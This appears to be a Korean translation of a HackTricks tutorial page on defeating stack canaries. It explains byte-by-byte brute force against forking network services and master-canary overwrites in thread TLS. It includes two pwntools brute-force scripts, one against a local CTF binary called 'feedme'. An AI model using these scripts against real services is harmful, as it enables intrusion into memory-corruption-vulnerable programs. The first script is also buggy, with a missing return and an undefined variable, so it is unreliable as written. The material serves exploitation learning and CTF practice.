BF Forked & Threaded Stack Canaries

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

카나리와 PIE (Position Independent Executable)로 보호된 이진 파일에 직면했다면 아마도 이를 우회해야 할 방법을 찾아야 합니다.

**checksec**가 이진 파일이 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다. 그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우 이를 수동으로 알 수 있습니다.

브루트 포스 카나리

간단한 카나리를 우회하는 가장 좋은 방법은 이진 파일이 새로운 연결을 설정할 때마다 자식 프로세스를 분기하는 프로그램인 경우입니다(네트워크 서비스), 왜냐하면 연결할 때마다 동일한 카나리가 사용됩니다.

그럼, 카나리를 우회하는 가장 좋은 방법은 문자별로 브루트 포스하는 것이며, 추측한 카나리 바이트가 올바른지 확인하려면 프로그램이 충돌했는지 또는 정상적인 흐름을 계속했는지 확인할 수 있습니다. 이 예에서는 함수가 **8바이트 카나리(x64)**를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하는 방법을 보여줍니다. 응답이 서버로부터 전송되었는지 확인하는 것입니다(다른 상황에서는 try/except를 사용할 수도 있습니다):

예시 1

이 예시는 64비트용으로 구현되었지만 32비트용으로 쉽게 구현할 수 있습니다.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

예제 2

이는 32비트용으로 구현되었지만 쉽게 64비트로 변경할 수 있습니다. 또한 이 예제에서는 프로그램이 먼저 입력의 크기를 나타내는 바이트를 예상합니다.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

쓰레드

동일한 프로세스의 쓰레드는 또한 동일한 캐너리 토큰을 공유하게 됩니다. 따라서 바이너리가 공격이 발생할 때마다 새로운 쓰레드를 생성한다면 캐너리를 무차별 대입하여 찾을 수 있을 것입니다.

게다가, 캐너리로 보호된 쓰레드 함수에서의 버퍼 오버플로우는 TLS에 저장된 마스터 캐너리를 수정하는 데 사용될 수 있습니다. 이는 쓰레드의 스택에서의 버퍼 오버플로우를 통해 TLS가 저장된 메모리 위치에 도달할 수 있기 때문입니다. 결과적으로, 체크가 두 개의 동일한 캐너리로 사용되기 때문에 (수정되었더라도) 이러한 방어가 무용지물이 됩니다. 이 공격은 다음의 설명에서 수행됩니다: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

또한 https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015의 발표를 확인하십시오. 이 발표에서는 보통 TLS가 **mmap**에 의해 저장되며, 쓰레드스택이 생성될 때도 이와 같이 mmap에 의해 생성된다고 언급됩니다. 이는 이전 설명에서 보여진 것처럼 오버플로우를 허용할 수 있을 것입니다.

다른 예시 및 참고 자료

Last updated